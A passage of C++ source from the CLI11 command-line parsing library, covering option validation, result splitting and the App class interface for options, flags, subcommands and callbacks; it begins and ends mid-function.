Option::_validate(std::string &result, int index) const {\n    std::string err_msg;\n    if(result.empty() && expected_min_ == 0) {\n        // an empty with nothing expected is allowed\n        return err_msg;\n    }\n    for(const auto &vali : validators_) {\n        auto v = vali.get_application_index();\n        if(v == -1 || v == index) {\n            try {\n                err_msg = vali(result);\n            } catch(const ValidationError &err) {\n                err_msg = err.what();\n            }\n            if(!err_msg.empty())\n                break;\n        }\n    }\n\n    return err_msg;\n}\n\nCLI11_INLINE int Option::_add_result(std::string &&result, std::vector<std::string> &res) const {\n    int result_count = 0;\n    if(allow_extra_args_ && !result.empty() && result.front() == '[' &&\n       result.back() == ']') {  // this is now a vector string likely from the default or user entry\n        result.pop_back();\n\n        for(auto &var : CLI::detail::split(result.substr(1), ',')) {\n            if(!var.empty()) {\n                result_count += _add_result(std::move(var), res);\n            }\n        }\n        return result_count;\n    }\n    if(delimiter_ == '\\0') {\n        res.push_back(std::move(result));\n        ++result_count;\n    } else {\n        if((result.find_first_of(delimiter_) != std::string::npos)) {\n            for(const auto &var : CLI::detail::split(result, delimiter_)) {\n                if(!var.empty()) {\n                    res.push_back(var);\n                    ++result_count;\n                }\n            }\n        } else {\n            res.push_back(std::move(result));\n            ++result_count;\n        }\n    }\n    return result_count;\n}\n\n\n\n#ifndef CLI11_PARSE\n#define CLI11_PARSE(app, argc, argv)                                                                                   \\\n    try {                                                                                                              \\\n        (app).parse((argc), (argv));                                                                                   \\\n    } catch(const CLI::ParseError &e) {                                                                                \\\n        return (app).exit(e);                                                                                          \\\n    }\n#endif\n\nnamespace detail {\nenum class Classifier { NONE, POSITIONAL_MARK, SHORT, LONG, WINDOWS_STYLE, SUBCOMMAND, SUBCOMMAND_TERMINATOR };\nstruct AppFriend;\n}  // namespace detail\n\nnamespace FailureMessage {\n/// Printout a clean, simple message on error (the default in CLI11 1.5+)\nCLI11_INLINE std::string simple(const App *app, const Error &e);\n\n/// Printout the full help string on error (if this fn is set, the old default for CLI11)\nCLI11_INLINE std::string help(const App *app, const Error &e);\n}  // namespace FailureMessage\n\n/// enumeration of modes of how to deal with extras in config files\n\nenum class config_extras_mode : char { error = 0, ignore, ignore_all, capture };\n\nclass App;\n\nusing App_p = std::shared_ptr<App>;\n\nnamespace detail {\n/// helper functions for adding in appropriate flag modifiers for add_flag\n\ntemplate <typename T, enable_if_t<!std::is_integral<T>::value || (sizeof(T) <= 1U), detail::enabler> = detail::dummy>\nOption *default_flag_modifiers(Option *opt) {\n    return opt->always_capture_default();\n}\n\n/// summing modifiers\ntemplate <typename T, enable_if_t<std::is_integral<T>::value && (sizeof(T) > 1U), detail::enabler> = detail::dummy>\nOption *default_flag_modifiers(Option *opt) {\n    return opt->multi_option_policy(MultiOptionPolicy::Sum)->default_str(\"0\")->force_callback();\n}\n\n}  // namespace detail\n\nclass Option_group;\n/// Creates a command line program, with very few defaults.\n/** To use, create a new `Program()` instance with `argc`, `argv`, and a help description. The templated\n *  add_option methods make it easy to prepare options. Remember to call `.start` before starting your\n * program, so that the options can be evaluated and the help option doesn't accidentally run your program. */\nclass App {\n    friend Option;\n    friend detail::AppFriend;\n\n  protected:\n    // This library follows the Google style guide for member names ending in underscores\n\n    /// @name Basics\n    ///@{\n\n    /// Subcommand name or program name (from parser if name is empty)\n    std::string name_{};\n\n    /// Description of the current program/subcommand\n    std::string description_{};\n\n    /// If true, allow extra arguments (ie, don't throw an error). INHERITABLE\n    bool allow_extras_{false};\n\n    /// If ignore, allow extra arguments in the ini file (ie, don't throw an error). INHERITABLE\n    /// if error error on an extra argument, and if capture feed it to the app\n    config_extras_mode allow_config_extras_{config_extras_mode::ignore};\n\n    ///  If true, return immediately on an unrecognized option (implies allow_extras) INHERITABLE\n    bool prefix_command_{false};\n\n    /// If set to true the name was automatically generated from the command line vs a user set name\n    bool has_automatic_name_{false};\n\n    /// If set to true the subcommand is required to be processed and used, ignored for main app\n    bool required_{false};\n\n    /// If set to true the subcommand is disabled and cannot be used, ignored for main app\n    bool disabled_{false};\n\n    /// Flag indicating that the pre_parse_callback has been triggered\n    bool pre_parse_called_{false};\n\n    /// Flag indicating that the callback for the subcommand should be executed immediately on parse completion which is\n    /// before help or ini files are processed. INHERITABLE\n    bool immediate_callback_{false};\n\n    /// This is a function that runs prior to the start of parsing\n    std::function<void(std::size_t)> pre_parse_callback_{};\n\n    /// This is a function that runs when parsing has finished.\n    std::function<void()> parse_complete_callback_{};\n\n    /// This is a function that runs when all processing has completed\n    std::function<void()> final_callback_{};\n\n    ///@}\n    /// @name Options\n    ///@{\n\n    /// The default values for options, customizable and changeable INHERITABLE\n    OptionDefaults option_defaults_{};\n\n    /// The list of options, stored locally\n    std::vector<Option_p> options_{};\n\n    ///@}\n    /// @name Help\n    ///@{\n\n    /// Footer to put after all options in the help output INHERITABLE\n    std::string footer_{};\n\n    /// This is a function that generates a footer to put after all other options in help output\n    std::function<std::string()> footer_callback_{};\n\n    /// A pointer to the help flag if there is one INHERITABLE\n    Option *help_ptr_{nullptr};\n\n    /// A pointer to the help all flag if there is one INHERITABLE\n    Option *help_all_ptr_{nullptr};\n\n    /// A pointer to a version flag if there is one\n    Option *version_ptr_{nullptr};\n\n    /// This is the formatter for help printing. Default provided. INHERITABLE (same pointer)\n    std::shared_ptr<FormatterBase> formatter_{new Formatter()};\n\n    /// The error message printing function INHERITABLE\n    std::function<std::string(const App *, const Error &e)> failure_message_{FailureMessage::simple};\n\n    ///@}\n    /// @name Parsing\n    ///@{\n\n    using missing_t = std::vector<std::pair<detail::Classifier, std::string>>;\n\n    /// Pair of classifier, string for missing options. (extra detail is removed on returning from parse)\n    ///\n    /// This is faster and cleaner than storing just a list of strings and reparsing. This may contain the -- separator.\n    missing_t missing_{};\n\n    /// This is a list of pointers to options with the original parse order\n    std::vector<Option *> parse_order_{};\n\n    /// This is a list of the subcommands collected, in order\n    std::vector<App *> parsed_subcommands_{};\n\n    /// this is a list of subcommands that are exclusionary to this one\n    std::set<App *> exclude_subcommands_{};\n\n    /// This is a list of options which are exclusionary to this App, if the options were used this subcommand should\n    /// not be\n    std::set<Option *> exclude_options_{};\n\n    /// this is a list of subcommands or option groups that are required by this one, the list is not mutual,  the\n    /// listed subcommands do not require this one\n    std::set<App *> need_subcommands_{};\n\n    /// This is a list of options which are required by this app, the list is not mutual, listed options do not need the\n    /// subcommand not be\n    std::set<Option *> need_options_{};\n\n    ///@}\n    /// @name Subcommands\n    ///@{\n\n    /// Storage for subcommand list\n    std::vector<App_p> subcommands_{};\n\n    /// If true, the program name is not case sensitive INHERITABLE\n    bool ignore_case_{false};\n\n    /// If true, the program should ignore underscores INHERITABLE\n    bool ignore_underscore_{false};\n\n    /// Allow subcommand fallthrough, so that parent commands can collect commands after subcommand.  INHERITABLE\n    bool fallthrough_{false};\n\n    /// Allow '/' for options for Windows like options. Defaults to true on Windows, false otherwise. INHERITABLE\n    bool allow_windows_style_options_{\n#ifdef _WIN32\n        true\n#else\n        false\n#endif\n    };\n    /// specify that positional arguments come at the end of the argument sequence not inheritable\n    bool positionals_at_end_{false};\n\n    enum class startup_mode : char { stable, enabled, disabled };\n    /// specify the startup mode for the app\n    /// stable=no change, enabled= startup enabled, disabled=startup disabled\n    startup_mode default_startup{startup_mode::stable};\n\n    /// if set to true the subcommand can be triggered via configuration files INHERITABLE\n    bool configurable_{false};\n\n    /// If set to true positional options are validated before assigning INHERITABLE\n    bool validate_positionals_{false};\n\n    /// If set to true optional vector arguments are validated before assigning INHERITABLE\n    bool validate_optional_arguments_{false};\n\n    /// indicator that the subcommand is silent and won't show up in subcommands list\n    /// This is potentially useful as a modifier subcommand\n    bool silent_{false};\n\n    /// Counts the number of times this command/subcommand was parsed\n    std::uint32_t parsed_{0U};\n\n    /// Minimum required subcommands (not inheritable!)\n    std::size_t require_subcommand_min_{0};\n\n    /// Max number of subcommands allowed (parsing stops after this number). 0 is unlimited INHERITABLE\n    std::size_t require_subcommand_max_{0};\n\n    /// Minimum required options (not inheritable!)\n    std::size_t require_option_min_{0};\n\n    /// Max number of options allowed. 0 is unlimited (not inheritable)\n    std::size_t require_option_max_{0};\n\n    /// A pointer to the parent if this is a subcommand\n    App *parent_{nullptr};\n\n    /// The group membership INHERITABLE\n    std::string group_{\"Subcommands\"};\n\n    /// Alias names for the subcommand\n    std::vector<std::string> aliases_{};\n\n    ///@}\n    /// @name Config\n    ///@{\n\n    /// Pointer to the config option\n    Option *config_ptr_{nullptr};\n\n    /// This is the formatter for help printing. Default provided. INHERITABLE (same pointer)\n    std::shared_ptr<Config> config_formatter_{new ConfigTOML()};\n\n    ///@}\n\n    /// Special private constructor for subcommand\n    App(std::string app_description, std::string app_name, App *parent);\n\n  public:\n    /// @name Basic\n    ///@{\n\n    /// Create a new program. Pass in the same arguments as main(), along with a help string.\n    explicit App(std::string app_description = \"\", std::string app_name = \"\")\n        : App(app_description, app_name, nullptr) {\n        set_help_flag(\"-h,--help\", \"Print this help message and exit\");\n    }\n\n    App(const App &) = delete;\n    App &operator=(const App &) = delete;\n\n    /// virtual destructor\n    virtual ~App() = default;\n\n    /// Set a callback for execution when all parsing and processing has completed\n    ///\n    /// Due to a bug in c++11,\n    /// it is not possible to overload on std::function (fixed in c++14\n    /// and backported to c++11 on newer compilers). Use capture by reference\n    /// to get a pointer to App if needed.\n    App *callback(std::function<void()> app_callback) {\n        if(immediate_callback_) {\n            parse_complete_callback_ = std::move(app_callback);\n        } else {\n            final_callback_ = std::move(app_callback);\n        }\n        return this;\n    }\n\n    /// Set a callback for execution when all parsing and processing has completed\n    /// aliased as callback\n    App *final_callback(std::function<void()> app_callback) {\n        final_callback_ = std::move(app_callback);\n        return this;\n    }\n\n    /// Set a callback to execute when parsing has completed for the app\n    ///\n    App *parse_complete_callback(std::function<void()> pc_callback) {\n        parse_complete_callback_ = std::move(pc_callback);\n        return this;\n    }\n\n    /// Set a callback to execute prior to parsing.\n    ///\n    App *preparse_callback(std::function<void(std::size_t)> pp_callback) {\n        pre_parse_callback_ = std::move(pp_callback);\n        return this;\n    }\n\n    /// Set a name for the app (empty will use parser to set the name)\n    App *name(std::string app_name = \"\");\n\n    /// Set an alias for the app\n    App *alias(std::string app_name);\n\n    /// Remove the error when extras are left over on the command line.\n    App *allow_extras(bool allow = true) {\n        allow_extras_ = allow;\n        return this;\n    }\n\n    /// Remove the error when extras are left over on the command line.\n    App *required(bool require = true) {\n        required_ = require;\n        return this;\n    }\n\n    /// Disable the subcommand or option group\n    App *disabled(bool disable = true) {\n        disabled_ = disable;\n        return this;\n    }\n\n    /// silence the subcommand from showing up in the processed list\n    App *silent(bool silence = true) {\n        silent_ = silence;\n        return this;\n    }\n\n    /// Set the subcommand to be disabled by default, so on clear(), at the start of each parse it is disabled\n    App *disabled_by_default(bool disable = true) {\n        if(disable) {\n            default_startup = startup_mode::disabled;\n        } else {\n            default_startup = (default_startup == startup_mode::enabled) ? startup_mode::enabled : startup_mode::stable;\n        }\n        return this;\n    }\n\n    /// Set the subcommand to be enabled by default, so on clear(), at the start of each parse it is enabled (not\n    /// disabled)\n    App *enabled_by_default(bool enable = true) {\n        if(enable) {\n            default_startup = startup_mode::enabled;\n        } else {\n            default_startup =\n                (default_startup == startup_mode::disabled) ? startup_mode::disabled : startup_mode::stable;\n        }\n        return this;\n    }\n\n    /// Set the subcommand callback to be executed immediately on subcommand completion\n    App *immediate_callback(bool immediate = true);\n\n    /// Set the subcommand to validate positional arguments before assigning\n    App *validate_positionals(bool validate = true) {\n        validate_positionals_ = validate;\n        return this;\n    }\n\n    /// Set the subcommand to validate optional vector arguments before assigning\n    App *validate_optional_arguments(bool validate = true) {\n        validate_optional_arguments_ = validate;\n        return this;\n    }\n\n    /// ignore extras in config files\n    App *allow_config_extras(bool allow = true) {\n        if(allow) {\n            allow_config_extras_ = config_extras_mode::capture;\n            allow_extras_ = true;\n        } else {\n            allow_config_extras_ = config_extras_mode::error;\n        }\n        return this;\n    }\n\n    /// ignore extras in config files\n    App *allow_config_extras(config_extras_mode mode) {\n        allow_config_extras_ = mode;\n        return this;\n    }\n\n    /// Do not parse anything after the first unrecognized option and return\n    App *prefix_command(bool allow = true) {\n        prefix_command_ = allow;\n        return this;\n    }\n\n    /// Ignore case. Subcommands inherit value.\n    App *ignore_case(bool value = true);\n\n    /// Allow windows style options, such as `/opt`. First matching short or long name used. Subcommands inherit\n    /// value.\n    App *allow_windows_style_options(bool value = true) {\n        allow_windows_style_options_ = value;\n        return this;\n    }\n\n    /// Specify that the positional arguments are only at the end of the sequence\n    App *positionals_at_end(bool value = true) {\n        positionals_at_end_ = value;\n        return this;\n    }\n\n    /// Specify that the subcommand can be triggered by a config file\n    App *configurable(bool value = true) {\n        configurable_ = value;\n        return this;\n    }\n\n    /// Ignore underscore. Subcommands inherit value.\n    App *ignore_underscore(bool value = true);\n\n    /// Set the help formatter\n    App *formatter(std::shared_ptr<FormatterBase> fmt) {\n        formatter_ = fmt;\n        return this;\n    }\n\n    /// Set the help formatter\n    App *formatter_fn(std::function<std::string(const App *, std::string, AppFormatMode)> fmt) {\n        formatter_ = std::make_shared<FormatterLambda>(fmt);\n        return this;\n    }\n\n    /// Set the config formatter\n    App *config_formatter(std::shared_ptr<Config> fmt) {\n        config_formatter_ = fmt;\n        return this;\n    }\n\n    /// Check to see if this subcommand was parsed, true only if received on command line.\n    CLI11_NODISCARD bool parsed() const { return parsed_ > 0; }\n\n    /// Get the OptionDefault object, to set option defaults\n    OptionDefaults *option_defaults() { return &option_defaults_; }\n\n    ///@}\n    /// @name Adding options\n    ///@{\n\n    /// Add an option, will automatically understand the type for common types.\n    ///\n    /// To use, create a variable with the expected type, and pass it in after the name.\n    /// After start is called, you can use count to see if the value was passed, and\n    /// the value will be initialized properly. Numbers, vectors, and strings are supported.\n    ///\n    /// ->required(), ->default, and the validators are options,\n    /// The positional options take an optional number of arguments.\n    ///\n    /// For example,\n    ///\n    ///     std::string filename;\n    ///     program.add_option(\"filename\", filename, \"description of filename\");\n    ///\n    Option *add_option(std::string option_name,\n                       callback_t option_callback,\n                       std::string option_description = \"\",\n                       bool defaulted = false,\n                       std::function<std::string()> func = {});\n\n    /// Add option for assigning to a variable\n    template <typename AssignTo,\n              typename ConvertTo = AssignTo,\n              enable_if_t<!std::is_const<ConvertTo>::value, detail::enabler> = detail::dummy>\n    Option *add_option(std::string option_name,\n                       AssignTo &variable,  ///< The variable to set\n                       std::string option_description = \"\") {\n\n        auto fun = [&variable](const CLI::results_t &res) {  // comment for spacing\n            return detail::lexical_conversion<AssignTo, ConvertTo>(res, variable);\n        };\n\n        Option *opt = add_option(option_name, fun, option_description, false, [&variable]() {\n            return CLI::detail::checked_to_string<AssignTo, ConvertTo>(variable);\n        });\n        opt->type_name(detail::type_name<ConvertTo>());\n        // these must be actual lvalues since (std::max) sometimes is defined in terms of references and references\n        // to structs used in the evaluation can be temporary so that would cause issues.\n        auto Tcount = detail::type_count<AssignTo>::value;\n        auto XCcount = detail::type_count<ConvertTo>::value;\n        opt->type_size(detail::type_count_min<ConvertTo>::value, (std::max)(Tcount, XCcount));\n        opt->expected(detail::expected_count<ConvertTo>::value);\n        opt->run_callback_for_default();\n        return opt;\n    }\n\n    /// Add option for assigning to a variable\n    template <typename AssignTo, enable_if_t<!std::is_const<AssignTo>::value, detail::enabler> = detail::dummy>\n    Option *add_option_no_stream(std::string option_name,\n                                 AssignTo &variable,  ///< The variable to set\n                                 std::string option_description = \"\") {\n\n        auto fun = [&variable](const CLI::results_t &res) {  // comment for spacing\n            return detail::lexical_conversion<AssignTo, AssignTo>(res, variable);\n        };\n\n        Option *opt = add_option(option_name, fun, option_description, false, []() { return std::string{}; });\n        opt->type_name(detail::type_name<AssignTo>());\n        opt->type_size(detail::type_count_min<AssignTo>::value, detail::type_count<AssignTo>::value);\n        opt->expected(detail::expected_count<AssignTo>::value);\n        opt->run_callback_for_default();\n        return opt;\n    }\n\n    /// Add option for a callback of a specific type\n    template <typename ArgType>\n    Option *add_option_function(std::string option_name,\n                                const std::function<void(const ArgType &)> &func,  ///< the callback to execute\n                                std::string option_description = \"\") {\n\n        auto fun = [func](const CLI::results_t &res) {\n            ArgType variable;\n            bool result = detail::lexical_conversion<ArgType, ArgType>(res, variable);\n            if(result) {\n                func(variable);\n            }\n            return result;\n        };\n\n        Option *opt = add_option(option_name, std::move(fun), option_description, false);\n        opt->type_name(detail::type_name<ArgType>());\n        opt->type_size(detail::type_count_min<ArgType>::value, detail::type_count<ArgType>::value);\n        opt->expected(detail::expected_count<ArgType>::value);\n        return opt;\n    }\n\n    /// Add option with no description or variable assignment\n    Option *add_option(std::string option_name) {\n        return add_option(option_name, CLI::callback_t{}, std::string{}, false);\n    }\n\n    /// Add option with description but with no variable assignment or callback\n    template <typename T,\n              enable_if_t<std::is_const<T>::value && std::is_constructible<std::string, T>::value, detail::enabler> =\n                  detail::dummy>\n    Option *add_option(std::string option_name, T &option_description) {\n        return add_option(option_name, CLI::callback_t(), option_description, false);\n    }\n\n    /// Set a help flag, replace the existing one if present\n    Option *set_help_flag(std::string flag_name = \"\", const std::string &help_description = \"\");\n\n    /// Set a help all flag, replaced the existing one if present\n    Option *set_help_all_flag(std::string help_name = \"\", const std::string &help_description = \"\");\n\n    /// Set a version flag and version display string, replace the existing one if present\n    Option *set_version_flag(std::string flag_name = \"\",\n                             const std::string &versionString = \"\",\n                             const std::string &version_help = \"Display program version information and exit\");\n\n    /// Generate the version string through a callback function\n    Option *set_version_flag(std::string flag_name,\n                             std::function<std::string()> vfunc,\n                             const std::string &version_help = \"Display program version information and exit\");\n\n  private:\n    /// Internal function for adding a flag\n    Option *_add_flag_internal(std::string flag_name, CLI::callback_t fun, std::string flag_description);\n\n  public:\n    /// Add a flag with no description or variable assignment\n    Option *add_flag(std::string flag_name) { return _add_flag_internal(flag_name, CLI::callback_t(), std::string{}); }\n\n    /// Add flag with description but with no variable assignment or callback\n    /// takes a constant string,  if a variable string is passed that variable will be assigned the results from the\n    /// flag\n    template <typename T,\n              enable_if_t<std::is_const<T>::value && std::is_constructible<std::string, T>::value, detail::enabler> =\n                  detail::dummy>\n    Option *add_flag(std::string flag_name, T &flag_description) {\n        return _add_flag_internal(flag_name, CLI::callback_t(), flag_description);\n    }\n\n    /// Other type version accepts all other types that are not vectors such as bool, enum, string or other classes\n    /// that can be converted from a string\n    template <typename T,\n              enable_if_t<!detail::is_mutable_container<T>::value && !std::is_const<T>::value &&\n                              !std::is_constructible<std::function<void(int)>, T>::value,\n                          detail::enabler> = detail::dummy>\n    Option *add_flag(std::string flag_name,\n                     T &flag_result,  ///< A variable holding the flag result\n                     std::string flag_description = \"\") {\n\n        CLI::callback_t fun = [&flag_result](const CLI::results_t &res) {\n            using CLI::detail::lexical_cast;\n            return lexical_cast(res[0], flag_result);\n        };\n        auto *opt = _add_flag_internal(flag_name, std::move(fun), std::move(flag_description));\n        return detail::default_flag_modifiers<T>(opt);\n    }\n\n    /// Vector version to capture multiple flags.\n    template <typename T,\n              enable_if_t<!std::is_assignable<std::function<void(std::int64_t)> &, T>::value, detail::enabler> =\n                  detail::dummy>\n    Option *add_flag(std::string flag_name,\n                     std::vector<T> &flag_results,  ///< A vector of values with the flag results\n                     std::string flag_description = \"\") {\n        CLI::callback_t fun = [&flag_results](const CLI::results_t &res) {\n            bool retval = true;\n            for(const auto &elem : res) {\n                using CLI::detail::lexical_cast;\n                flag_results.emplace_back();\n                retval &= lexical_cast(elem, flag_results.back());\n            }\n            return retval;\n        };\n        return _add_flag_internal(flag_name, std::move(fun), std::move(flag_description))\n            ->multi_option_policy(MultiOptionPolicy::TakeAll)\n            ->run_callback_for_default();\n    }\n\n    /// Add option for callback that is triggered with a true flag and takes no arguments\n    Option *add_flag_callback(std::string flag_name,\n                              std::function<void(void)> function,  ///< A function to call, void(void)\n                              std::string flag_description = \"\");\n\n    /// Add option for callback with an integer value\n    Option *add_flag_function(std::string flag_name,\n                              std::function<void(std::int64_t)> function,  ///< A function to call, void(int)\n                              std::string flag_description = \"\");\n\n#ifdef CLI11_CPP14\n    /// Add option for callback (C++14 or better only)\n    Option *add_flag(std::string flag_name,\n                     std::function<void(std::int64_t)> function,  ///< A function to call, void(std::int64_t)\n                     std::string flag_description = \"\") {\n        return add_flag_function(std::move(flag_name), std::move(function), std::move(flag_description));\n    }\n#endif\n\n    /// Set a configuration ini file option, or clear it if no name passed\n    Option *set_config(std::string option_name = \"\",\n                       std::string default_filename = \"\",\n                       const std::string &help_message = \"Read an ini file\",\n                       bool config_required = false);\n\n    /// Removes an option from the App. Takes an option pointer. Returns true if found and removed.\n    bool remove_option(Option *opt);\n\n    /// creates an option group as part of the given app\n    template <typename T = Option_group>\n    T *add_option_group(std::string group_name, std::string group_description = \"\") {\n        if(!detail::valid_alias_name_string(group_name)) {\n            throw IncorrectConstruction(\"option group names may not contain newlines or null characters\");\n        }\n        auto option_group = std::make_shared<T>(std::move(group_description), group_name, this);\n        auto *ptr = option_group.get();\n        // move to App_p for overload resolution on older gcc versions\n        App_p app_ptr = std::dynamic_pointer_cast<App>(option_group);\n        add_subcommand(std::move(app_ptr));\n        return ptr;\n    }\n\n    ///@}\n    /// @name Subcommands\n    ///@{\n\n    /// Add a subcommand. Inherits INHERITABLE and OptionDefaults, and help flag\n    App *add_subcommand(std::string subcommand_name = \"\", std::string subcommand_description = \"\");\n\n    /// Add a previously created app as a subcommand\n    App *add_subcommand(CLI::App_p subcom);\n\n    /// Removes a subcommand from the App. Takes a subcommand pointer. Returns true if found and removed.\n    bool remove_subcommand(App *subcom);\n\n    /// Check to see if a subcommand is part of this command (doesn't have to be in command line)\n    /// returns the first subcommand if passed a nullptr\n    App *get_subcommand(const App *subcom) const;\n\n    /// Check to see if a subcommand is part of this command (text version)\n    CLI11_NODISCARD App *get_subcommand(std::string subcom) const;\n\n    /// Get a pointer to subcommand by index\n    CLI11_NODISCARD App *get_subcommand(int index = 0) const;\n\n    /// Check to see if a subcommand is part of this command and get a shared_ptr to it\n    CLI::App_p get_subcommand_ptr(App *subcom) const;\n\n    /// Check to see if a subcommand is part of this command (text version)\n    CLI11_NODISCARD CLI::App_p get_subcommand_ptr(std::string subcom) const;\n\n    /// Get an owning pointer to subcommand by index\n    CLI11_NODISCARD CLI::App_p get_subcommand_ptr(int index = 0) const;\n\n    /// Check to see if an option group is part of this App\n    CLI11_NODISCARD App *get_option_group(std::string group_name) const;\n\n    /// No argument version of count counts the number of times this subcommand was\n    /// passed in. The main app will return 1. Unnamed subcommands will also return 1 unless\n    /// otherwise modified in a callback\n    CLI11_NODISCARD std::size_t count() const { return parsed_; }\n\n    /// Get a count of all the arguments processed in options and subcommands, this excludes arguments which were\n    /// treated as extras.\n    CLI11_NODISCARD std::size_t count_all() const;\n\n    /// Changes the group membership\n    App *group(std::string group_name) {\n        group_ = group_name;\n        return this;\n    }\n\n    /// The argumentless form of require subcommand requires 1 or more subcommands\n    App *require_subcommand() {\n        require_subcommand_min_ = 1;\n        require_subcommand_max_ = 0;\n        return this;\n    }\n\n    /// Require a subcommand to be given (does not affect help call)\n    /// The number required can be given. Negative values indicate maximum\n    /// number allowed (0 for any number). Max number inheritable.\n    App *require_subcommand(int value) {\n        if(value < 0) {\n            require_subcommand_min_ = 0;\n            require_subcommand_max_ = static_cast<std::size_t>(-value);\n        } else {\n            require_subcommand_min_ = static_cast<std::size_t>(value);\n            require_subcommand_max_ = static_cast<std::size_t>(value);\n        }\n        return this;\n    }\n\n    /// Explicitly control the number of subcommands required. Setting 0\n    /// for the max means unlimited number allowed. Max number inheritable.\n    App *require_subcommand(std::size_t min, std::size_t max) {\n        require_subcommand_min_ = min;\n        require_subcommand_max_ = max;\n        return this;\n    }\n\n    /// The argumentless form of require option requires 1 or more options be used\n    App *require_option() {\n        require_option_min_ = 1;\n        require_option_max_ = 0;\n        return this;\n    }\n\n    /// Require an option to be given (does not affect help call)\n    /// The number required can be given. Negative values indicate maximum\n    /// number allowed (0 for any number).\n    App *require_option(int value) {\n        if(value < 0) {\n            require_option_min_ = 0;\n            require_option_max_ = static_cast<std::size_t>(-value);\n        } else {\n            require_option_min_ = static_cast<std::size_t>(value);\n            require_option_max_ = static_cast<std::size_t>(value);\n        }\n        return this;\n    }\n\n    /// Explicitly control the number of options required. Setting 0\n    /// for the max means unlimited number allowed. Max number inheritable.\n    App *require_option(std::size_t min, std::size_t max) {\n        require_option_min_ = min;\n        require_option_max_ = max;\n        return this;\n    }\n\n    /// Stop subcommand fallthrough, so that parent commands cannot collect commands after subcommand.\n    /// Default from parent, usually set on parent.\n    App *fallthrough(bool value = true) {\n        fallthrough_ = value;\n        return this;\n    }\n\n    /// Check to see if this subcommand was parsed, true only if received on command line.\n    /// This allows the subcommand to be directly checked.\n    explicit operator bool() const { return parsed_ > 0; }\n\n    ///@}\n    /// @name Extras for subclassing\n    ///@{\n\n    /// This allows subclasses to inject code before callbacks but after parse.\n    ///\n    /// This does not run if any errors or help is thrown.\n    virtual void pre_callback() {}\n\n    ///@}\n    /// @name Parsing\n    ///@{\n    //\n    /// Reset the parsed data\n    void clear();\n\n    /// Parses the command line - throws errors.\n    /// This must be called after the options are in but before the rest of the program.\n    void parse(int argc, const char *const *argv);\n\n    /// Parse a single string as if it contained command line arguments.\n    /// This function splits the string into arguments then calls parse(std::vector<std::string> &)\n    /// the function takes an optional boolean argument specifying if the programName is included in the string to\n    /// process\n    void parse(std::string commandline, bool program_name_included = false);\n\n    /// The real work is done here. Expects a reversed vector.\n    /// Changes the vector to the remaining options.\n    void parse(std::vector<std::string> &args);\n\n    /// The real work is done here. Expects a reversed vector.\n    void parse(std::vector<std::string> &&args);\n\n    void parse_from_stream(std::istream &input);\n\n    /// Provide a function to print a help message. The function gets access to the App pointer and error.\n    void failure_message(std::function<std::string(const App *, const Error &e)> function) {\n        failure_message_ = function;\n    }\n\n    /// Print a nice error message and return the exit code\n    int exit(const Error &e, std::ostream &out = std::cout, std::ostream &err = std::cerr) const;\n\n    ///@}\n    /// @name Post parsing\n    ///@{\n\n    /// Counts the number of times the given option was passed.\n    CLI11_NODISCARD std::size_t count(std::string option_name) const { return get_option(option_name)->count(); }\n\n    /// Get a subcommand pointer list to the currently selected subcommands (after parsing by default, in command\n    /// line order; use parsed = false to get the original definition list.)\n    CLI11_NODISCARD std::vector<App *> get_subcommands() const { return parsed_subcommands_; }\n\n    /// Get a filtered subcommand pointer list from the original definition list. An empty function will provide all\n    /// subcommands (const)\n    std::vector<const App *> get_subcommands(const std::function<bool(const App *)> &filter) const;\n\n    /// Get a filtered subcommand pointer list from the original definition list. An empty function will provide all\n    /// subcommands\n    std::vector<App *> get_subcommands(const std::function<bool(App *)> &filter);\n\n    /// Check to see if given subcommand was selected\n    bool got_subcommand(const App *subcom) const {\n        // get subcom needed to verify that this was a real subcommand\n        return get_subcommand(subcom)->parsed_ > 0;\n    }\n\n    /// Check with name instead of pointer to see if subcommand was selected\n    CLI11_NODISCARD bool got_subcommand(std::string subcommand_name) const {\n        return get_subcommand(subcommand_name)->parsed_ > 0;\n    }\n\n    /// Sets excluded options for the subcommand\n    App *excludes(Option *opt) {\n        if(opt == nullptr) {\n            throw OptionNotFound(\"nullptr passed\");\n        }\n        exclude_options_.insert(opt);\n        return this;\n    }\n\n    /// Sets excluded subcommands for the subcommand\n    App *excludes(App *app) {\n        if(app == nullptr) {\n            throw OptionNotFound(\"nullptr passed\");\n        }\n        if(app == this) {\n            throw OptionNotFound(\"cannot self reference in needs\");\n        }\n        auto res = exclude_subcommands_.insert(app);\n        // subcommand exclusion should be symmetric\n        if(res.second) {\n            app->exclude_subcommands_.insert(this);\n        }\n        return this;\n    }\n\n    App *needs(Option *opt) {\n        if(opt == nullptr) {\n            throw OptionNotFound(\"nullptr passed\");\n        }\n        need_options_.insert(opt);\n        return this;\n    }\n\n    App *needs(App *app) {\n        if(app == nullptr) {\n            throw OptionNotFound(\"nullptr passed\");\n        }\n        if(app == this) {\n            throw OptionNotFound(\"cannot self reference in needs\");\n        }\n        need_subcommands_.insert(app);\n        return this;\n    }\n\n    /// Removes an option from the excludes list of this subcommand\n    bool remove_excludes(Option *opt);\n\n    /// Removes a subcommand from the excludes list of this subcommand\n    bool remove_excludes(App *app);\n\n    /// Removes an option from the needs list of this subcommand\n    bool remove_needs(Option *opt);\n\n    /// Removes a subcommand from the needs list of this subcommand\n    bool remove_needs(App *app);\n    ///@}\n    /// @name Help\n    ///@{\n\n    /// Set footer.\n    App *footer(std::string footer_string) {\n        footer_ = std::move(footer_string);\n        return this;\n    }\n    /// Set footer.\n    App *footer(std::function<std::string()> footer_function) {\n        footer_callback_ = std::move(footer_function);\n        return this;\n    }\n    /// Produce a string that could be read in as a config of the current values of the App. Set default_also to\n    /// include default arguments. write_descriptions will print a description for the App and for each option.\n    CLI11_NODISCARD std::string config_to_str(bool default_also = false, bool write_description = false) const {\n        return config_formatter_->to_config(this, default_also, write_description, \"\");\n    }\n\n    /// Makes a help message, using the currently configured formatter\n    /// Will only do one subcommand at a time\n    CLI11_NODISCARD std::string help(std::string prev = \"\", AppFormatMode mode = AppFormatMode::Normal) const;\n\n    /// Displays a version string\n    CLI11_NODISCARD std::string version() const;\n    ///@}\n    /// @name Getters\n    ///@{\n\n    /// Access the formatter\n    CLI11_NODISCARD std::shared_ptr<FormatterBase> get_formatter() const { return formatter_; }\n\n    /// Access the config formatter\n    CLI11_NODISCARD std::shared_ptr<Config> get_config_formatter() const { return config_formatter_; }\n\n    /// Access the config formatter as a configBase pointer\n    CLI11_NODISCARD std::shared_ptr<ConfigBase> get_config_formatter_base() const {\n        // This is safer as a dynamic_cast if we have RTTI, as Config -> ConfigBase\n#if CLI11_USE_STATIC_RTTI == 0\n        return 